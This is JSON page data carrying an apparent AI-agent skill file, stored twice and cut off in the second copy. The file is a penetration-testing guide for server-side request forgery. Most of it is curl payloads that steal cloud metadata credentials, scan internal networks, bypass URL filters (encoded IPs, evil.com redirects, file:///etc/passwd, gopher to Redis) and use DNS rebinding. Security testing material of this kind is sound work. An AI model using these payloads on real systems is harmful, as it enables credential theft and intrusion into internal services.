[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M732WP2QBWAS9PH6PV8ATDAA":3,"skill-same:01M732WP2QBWAS9PH6PV8ATDAA":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M732WP2QBWAS9PH6PV8ATDAA","exploiting-server-side-request-forgery",null,"Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-server-side-request-forgery\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-server-side-request-forgery\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: exploiting-server-side-request-forgery\ndescription: Identifying and exploiting SSRF vulnerabilities to access internal services,\n  cloud metadata, and restricted network resources during authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- ssrf\n- owasp\n- cloud-security\n- web-security\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1078.004\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Exploiting Server-Side Request Forgery\n\n## When to Use\n\n- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)\n- When testing cloud-hosted applications for access to instance metadata services\n- For assessing PDF generators, screenshot services, or any feature that renders external content\n- When evaluating microservice architectures for internal service access via SSRF\n- During security assessments of APIs that accept URL parameters for data fetching\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement including SSRF testing scope\n- **Burp Suite Professional**: With Collaborator for out-of-band detection\n- **interactsh**: Open-source OOB interaction server (`go install github.com\u002Fprojectdiscovery\u002Finteractsh\u002Fcmd\u002Finteractsh-client@latest`)\n- **SSRFmap**: Automated SSRF exploitation framework (`git clone https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FSSRFmap.git`)\n- **curl**: For manual SSRF payload testing\n- **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges\n\n## Workflow\n\n### Step 1: Identify SSRF-Prone Functionality\n\nMap all application features that make server-side HTTP requests.\n\n```bash\n# Common SSRF-prone features:\n# - URL preview\u002Funfurling (Slack-like link previews)\n# - Webhook configuration endpoints\n# - File import from URL (import CSV from URL)\n# - PDF\u002Fscreenshot generation from URL\n# - Image\u002Favatar fetching from URL\n# - RSS\u002Ffeed aggregation\n# - OAuth callback URLs\n# - API proxy\u002Fgateway features\n\n# Test a URL parameter with Burp Collaborator\n# Replace URL values with Collaborator payload\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"url\":\"http:\u002F\u002Fabc123.burpcollaborator.net\u002Fssrf-test\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"webhook_url\":\"http:\u002F\u002Fabc123.oast.fun\u002Fwebhook\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fwebhooks\"\n\n# Test URL in various parameter names\nfor param in url uri link href src dest redirect callback webhook \\\n  image_url avatar_url feed_url import_url proxy_url; do\n  echo \"Testing param: $param\"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch?${param}=http:\u002F\u002Fabc123.oast.fun\u002F${param}\"\ndone\n```\n\n### Step 2: Access Cloud Instance Metadata\n\nTest SSRF payloads targeting cloud provider metadata services.\n\n```bash\n# AWS EC2 Metadata (IMDSv1)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# AWS - Get IAM role credentials\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# GCP Metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# Azure Metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# DigitalOcean Metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n```\n\n### Step 3: Scan Internal Network via SSRF\n\nUse the SSRF vulnerability to discover internal services and ports.\n\n```bash\n# Internal network scanning - common private ranges\nfor ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do\n  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do\n    echo -n \"$ip:$port -> \"\n    response=$(curl -s --max-time 3 -X POST \\\n      -H \"Content-Type: application\u002Fjson\" \\\n      -d \"{\\\"url\\\":\\\"http:\u002F\u002F$ip:$port\u002F\\\"}\" \\\n      \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\")\n    echo \"$response\" | head -c 100\n    echo\n  done\ndone\n\n# Kubernetes internal services\nfor svc in kubernetes.default.svc \\\n  kubernetes-dashboard.kubernetes-dashboard.svc \\\n  kube-dns.kube-system.svc; do\n  curl -s --max-time 3 -X POST \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"url\\\":\\\"http:\u002F\u002F$svc\u002F\\\"}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\ndone\n\n# Access internal admin panels\nfor path in \u002Fadmin \u002Fconsole \u002Factuator\u002Fenv \u002Fserver-status \u002F_cat\u002Findices; do\n  curl -s -X POST \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"url\\\":\\\"http:\u002F\u002F127.0.0.1:8080$path\\\"}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\ndone\n```\n\n### Step 4: Bypass SSRF Filters and Allowlists\n\nWhen basic payloads are blocked, use bypass techniques.\n\n```bash\n# IP address encoding bypasses for 127.0.0.1\nPAYLOADS=(\n  \"http:\u002F\u002F127.0.0.1\u002F\"\n  \"http:\u002F\u002F0177.0.0.1\u002F\"          # Octal\n  \"http:\u002F\u002F0x7f.0.0.1\u002F\"          # Hex\n  \"http:\u002F\u002F2130706433\u002F\"           # Decimal\n  \"http:\u002F\u002F127.1\u002F\"                # Short form\n  \"http:\u002F\u002F0\u002F\"                    # Zero\n  \"http:\u002F\u002F[::1]\u002F\"                # IPv6 loopback\n  \"http:\u002F\u002F0.0.0.0\u002F\"              # All interfaces\n  \"http:\u002F\u002Flocaltest.me\u002F\"         # DNS resolves to 127.0.0.1\n  \"http:\u002F\u002Fspoofed.burpcollaborator.net\u002F\"  # DNS rebinding\n  \"http:\u002F\u002F127.0.0.1.nip.io\u002F\"    # Wildcard DNS\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"$payload -> \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" --max-time 3 \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"url\\\":\\\"$payload\\\"}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n  echo\ndone\n\n# URL parsing bypass\n# Embed credentials: http:\u002F\u002Fexpected.com@evil.com\u002F\n# Fragment: http:\u002F\u002Fevil.com#expected.com\n# URL encoding: http:\u002F\u002F127.0.0.%31\u002F\n# Redirect chain: http:\u002F\u002Fattacker.com\u002Fredirect?url=http:\u002F\u002F127.0.0.1\n\n# Protocol bypass\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"file:\u002F\u002F\u002Fetc\u002Fpasswd\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20ssrf%20test\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"dict:\u002F\u002F127.0.0.1:6379\u002Finfo\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n```\n\n### Step 5: Exploit SSRF for Impact Escalation\n\nChain SSRF with internal services for maximum impact.\n\n```bash\n# Access Redis via gopher protocol\n# Craft gopher payload to set a webshell via Redis\n# gopher:\u002F\u002F127.0.0.1:6379\u002F_CONFIG SET dir \u002Fvar\u002Fwww\u002Fhtml\n# This is for authorized testing only\n\n# Access Elasticsearch\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:9200\u002F_cat\u002Findices?v\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# Read data from Elasticsearch\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:9200\u002Fusers\u002F_search?size=10\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# Access internal Jenkins\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:8080\u002Fscript\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# AWS: Retrieve temporary credentials from IAM role\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002Fec2-role-name\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n# Returns: AccessKeyId, SecretAccessKey, Token\n```\n\n### Step 6: Test Blind SSRF and DNS Rebinding\n\nFor cases where the response is not returned to the attacker.\n\n```bash\n# Blind SSRF detection using time-based analysis\n# Compare response times for accessible vs inaccessible ports\ntime curl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:22\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ntime curl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:12345\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# DNS rebinding attack\n# 1. Set up a DNS server that alternates between:\n#    - First query: returns attacker IP (passes allowlist)\n#    - Second query: returns 127.0.0.1 (targets internal service)\n# 2. Use a rebinding service like rbndr.us\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F7f000001.c0a80001.rbndr.us\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n# rbndr.us alternates DNS responses between the two encoded IPs\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSRF** | Server-Side Request Forgery - making the server send requests to unintended destinations |\n| **Blind SSRF** | SSRF where the response is not returned to the attacker, requiring OOB detection |\n| **Cloud Metadata** | Instance metadata services (169.254.169.254) exposing credentials and configuration |\n| **Gopher Protocol** | Protocol allowing raw TCP data transmission, enabling attacks on internal services |\n| **DNS Rebinding** | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |\n| **TOCTOU** | Time-of-check to time-of-use race condition in URL validation |\n| **IMDSv2** | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |\n| **Open Redirect Chain** | Using an open redirect to bypass URL allowlists in SSRF filters |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request modification and Collaborator for blind SSRF detection |\n| **SSRFmap** | Automated SSRF exploitation framework with protocol support |\n| **interactsh** | Out-of-band interaction detection for blind SSRF |\n| **Gopherus** | Generates gopher payloads for exploiting internal services |\n| **rbndr.us** | DNS rebinding service for SSRF filter bypass |\n| **singularity** | DNS rebinding attack framework for automated exploitation |\n\n## Common Scenarios\n\n### Scenario 1: Webhook URL SSRF to AWS Credentials\nA webhook configuration endpoint allows specifying a callback URL. Pointing it to `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F` returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.\n\n### Scenario 2: PDF Generator SSRF\nA feature that generates PDFs from URLs makes server-side requests. Providing `http:\u002F\u002F127.0.0.1:8080\u002Fadmin` as the URL generates a PDF containing the internal admin panel content.\n\n### Scenario 3: Image URL SSRF with Protocol Bypass\nAn avatar URL field is filtered for HTTP\u002FHTTPS but accepts `file:\u002F\u002F` protocol. Using `file:\u002F\u002F\u002Fetc\u002Fpasswd` as the avatar URL causes the server to read local files and include content in the response.\n\n### Scenario 4: Blind SSRF to Internal Redis\nA URL fetch feature does not return response content but confirms success\u002Ffailure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.\n\n## Output Format\n\n```\n## SSRF Vulnerability Finding\n\n**Vulnerability**: Server-Side Request Forgery (Full SSRF)\n**Severity**: Critical (CVSS 9.1)\n**Location**: POST \u002Fapi\u002Fwebhooks - `callback_url` parameter\n**OWASP Category**: A10:2021 - Server-Side Request Forgery\n\n### Reproduction Steps\n1. Send POST \u002Fapi\u002Fwebhooks with callback_url set to http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n2. Server makes request to AWS metadata endpoint\n3. Response contains AWS instance metadata including IAM role name\n4. Follow up with IAM credentials endpoint to retrieve temporary access keys\n\n### Confirmed Access\n| Target | Protocol | Response |\n|--------|----------|----------|\n| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |\n| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |\n| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |\n| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |\n\n### Impact\n- AWS IAM temporary credentials exfiltrated (S3 read\u002Fwrite access)\n- Internal Redis server accessible (potential RCE)\n- Internal Elasticsearch data exposed (user records)\n- Full internal network scanning capability\n\n### Recommendation\n1. Implement strict URL allowlisting (only allow known trusted domains)\n2. Block requests to private IP ranges (10.0.0.0\u002F8, 172.16.0.0\u002F12, 192.168.0.0\u002F16, 169.254.0.0\u002F16)\n3. Upgrade to AWS IMDSv2 (requires session token header)\n4. Disable unused URL protocols (gopher, file, dict, ftp)\n5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls\n```\n","# Exploiting Server-Side Request Forgery\n\n## When to Use\n\n- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)\n- When testing cloud-hosted applications for access to instance metadata services\n- For assessing PDF generators, screenshot services, or any feature that renders external content\n- When evaluating microservice architectures for internal service access via SSRF\n- During security assessments of APIs that accept URL parameters for data fetching\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement including SSRF testing scope\n- **Burp Suite Professional**: With Collaborator for out-of-band detection\n- **interactsh**: Open-source OOB interaction server (`go install github.com\u002Fprojectdiscovery\u002Finteractsh\u002Fcmd\u002Finteractsh-client@latest`)\n- **SSRFmap**: Automated SSRF exploitation framework (`git clone https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FSSRFmap.git`)\n- **curl**: For manual SSRF payload testing\n- **Knowledge of target infrastructure**: Cloud provider (AWS, GCP, Azure), internal IP ranges\n\n## Workflow\n\n### Step 1: Identify SSRF-Prone Functionality\n\nMap all application features that make server-side HTTP requests.\n\n```bash\n# Common SSRF-prone features:\n# - URL preview\u002Funfurling (Slack-like link previews)\n# - Webhook configuration endpoints\n# - File import from URL (import CSV from URL)\n# - PDF\u002Fscreenshot generation from URL\n# - Image\u002Favatar fetching from URL\n# - RSS\u002Ffeed aggregation\n# - OAuth callback URLs\n# - API proxy\u002Fgateway features\n\n# Test a URL parameter with Burp Collaborator\n# Replace URL values with Collaborator payload\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"url\":\"http:\u002F\u002Fabc123.burpcollaborator.net\u002Fssrf-test\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"webhook_url\":\"http:\u002F\u002Fabc123.oast.fun\u002Fwebhook\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fwebhooks\"\n\n# Test URL in various parameter names\nfor param in url uri link href src dest redirect callback webhook \\\n  image_url avatar_url feed_url import_url proxy_url; do\n  echo \"Testing param: $param\"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch?${param}=http:\u002F\u002Fabc123.oast.fun\u002F${param}\"\ndone\n```\n\n### Step 2: Access Cloud Instance Metadata\n\nTest SSRF payloads targeting cloud provider metadata services.\n\n```bash\n# AWS EC2 Metadata (IMDSv1)\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# AWS - Get IAM role credentials\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# GCP Metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# Azure Metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# DigitalOcean Metadata\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n```\n\n### Step 3: Scan Internal Network via SSRF\n\nUse the SSRF vulnerability to discover internal services and ports.\n\n```bash\n# Internal network scanning - common private ranges\nfor ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do\n  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do\n    echo -n \"$ip:$port -> \"\n    response=$(curl -s --max-time 3 -X POST \\\n      -H \"Content-Type: application\u002Fjson\" \\\n      -d \"{\\\"url\\\":\\\"http:\u002F\u002F$ip:$port\u002F\\\"}\" \\\n      \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\")\n    echo \"$response\" | head -c 100\n    echo\n  done\ndone\n\n# Kubernetes internal services\nfor svc in kubernetes.default.svc \\\n  kubernetes-dashboard.kubernetes-dashboard.svc \\\n  kube-dns.kube-system.svc; do\n  curl -s --max-time 3 -X POST \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"url\\\":\\\"http:\u002F\u002F$svc\u002F\\\"}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\ndone\n\n# Access internal admin panels\nfor path in \u002Fadmin \u002Fconsole \u002Factuator\u002Fenv \u002Fserver-status \u002F_cat\u002Findices; do\n  curl -s -X POST \\\n    -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"url\\\":\\\"http:\u002F\u002F127.0.0.1:8080$path\\\"}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\ndone\n```\n\n### Step 4: Bypass SSRF Filters and Allowlists\n\nWhen basic payloads are blocked, use bypass techniques.\n\n```bash\n# IP address encoding bypasses for 127.0.0.1\nPAYLOADS=(\n  \"http:\u002F\u002F127.0.0.1\u002F\"\n  \"http:\u002F\u002F0177.0.0.1\u002F\"          # Octal\n  \"http:\u002F\u002F0x7f.0.0.1\u002F\"          # Hex\n  \"http:\u002F\u002F2130706433\u002F\"           # Decimal\n  \"http:\u002F\u002F127.1\u002F\"                # Short form\n  \"http:\u002F\u002F0\u002F\"                    # Zero\n  \"http:\u002F\u002F[::1]\u002F\"                # IPv6 loopback\n  \"http:\u002F\u002F0.0.0.0\u002F\"              # All interfaces\n  \"http:\u002F\u002Flocaltest.me\u002F\"         # DNS resolves to 127.0.0.1\n  \"http:\u002F\u002Fspoofed.burpcollaborator.net\u002F\"  # DNS rebinding\n  \"http:\u002F\u002F127.0.0.1.nip.io\u002F\"    # Wildcard DNS\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"$payload -> \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" --max-time 3 \\\n    -X POST -H \"Content-Type: application\u002Fjson\" \\\n    -d \"{\\\"url\\\":\\\"$payload\\\"}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n  echo\ndone\n\n# URL parsing bypass\n# Embed credentials: http:\u002F\u002Fexpected.com@evil.com\u002F\n# Fragment: http:\u002F\u002Fevil.com#expected.com\n# URL encoding: http:\u002F\u002F127.0.0.%31\u002F\n# Redirect chain: http:\u002F\u002Fattacker.com\u002Fredirect?url=http:\u002F\u002F127.0.0.1\n\n# Protocol bypass\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"file:\u002F\u002F\u002Fetc\u002Fpasswd\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"gopher:\u002F\u002F127.0.0.1:6379\u002F_SET%20ssrf%20test\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"dict:\u002F\u002F127.0.0.1:6379\u002Finfo\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n```\n\n### Step 5: Exploit SSRF for Impact Escalation\n\nChain SSRF with internal services for maximum impact.\n\n```bash\n# Access Redis via gopher protocol\n# Craft gopher payload to set a webshell via Redis\n# gopher:\u002F\u002F127.0.0.1:6379\u002F_CONFIG SET dir \u002Fvar\u002Fwww\u002Fhtml\n# This is for authorized testing only\n\n# Access Elasticsearch\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:9200\u002F_cat\u002Findices?v\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# Read data from Elasticsearch\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:9200\u002Fusers\u002F_search?size=10\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# Access internal Jenkins\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:8080\u002Fscript\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# AWS: Retrieve temporary credentials from IAM role\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002Fec2-role-name\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n# Returns: AccessKeyId, SecretAccessKey, Token\n```\n\n### Step 6: Test Blind SSRF and DNS Rebinding\n\nFor cases where the response is not returned to the attacker.\n\n```bash\n# Blind SSRF detection using time-based analysis\n# Compare response times for accessible vs inaccessible ports\ntime curl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:22\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\ntime curl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F127.0.0.1:12345\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n\n# DNS rebinding attack\n# 1. Set up a DNS server that alternates between:\n#    - First query: returns attacker IP (passes allowlist)\n#    - Second query: returns 127.0.0.1 (targets internal service)\n# 2. Use a rebinding service like rbndr.us\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"url\":\"http:\u002F\u002F7f000001.c0a80001.rbndr.us\u002F\"}' \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Ffetch-url\"\n# rbndr.us alternates DNS responses between the two encoded IPs\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **SSRF** | Server-Side Request Forgery - making the server send requests to unintended destinations |\n| **Blind SSRF** | SSRF where the response is not returned to the attacker, requiring OOB detection |\n| **Cloud Metadata** | Instance metadata services (169.254.169.254) exposing credentials and configuration |\n| **Gopher Protocol** | Protocol allowing raw TCP data transmission, enabling attacks on internal services |\n| **DNS Rebinding** | DNS attack that switches IP resolution to bypass SSRF hostname allowlists |\n| **TOCTOU** | Time-of-check to time-of-use race condition in URL validation |\n| **IMDSv2** | AWS metadata service v2 requiring session tokens, mitigating basic SSRF |\n| **Open Redirect Chain** | Using an open redirect to bypass URL allowlists in SSRF filters |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request modification and Collaborator for blind SSRF detection |\n| **SSRFmap** | Automated SSRF exploitation framework with protocol support |\n| **interactsh** | Out-of-band interaction detection for blind SSRF |\n| **Gopherus** | Generates gopher payloads for exploiting internal services |\n| **rbndr.us** | DNS rebinding service for SSRF filter bypass |\n| **singularity** | DNS rebinding attack framework for automated exploitation |\n\n## Common Scenarios\n\n### Scenario 1: Webhook URL SSRF to AWS Credentials\nA webhook configuration endpoint allows specifying a callback URL. Pointing it to 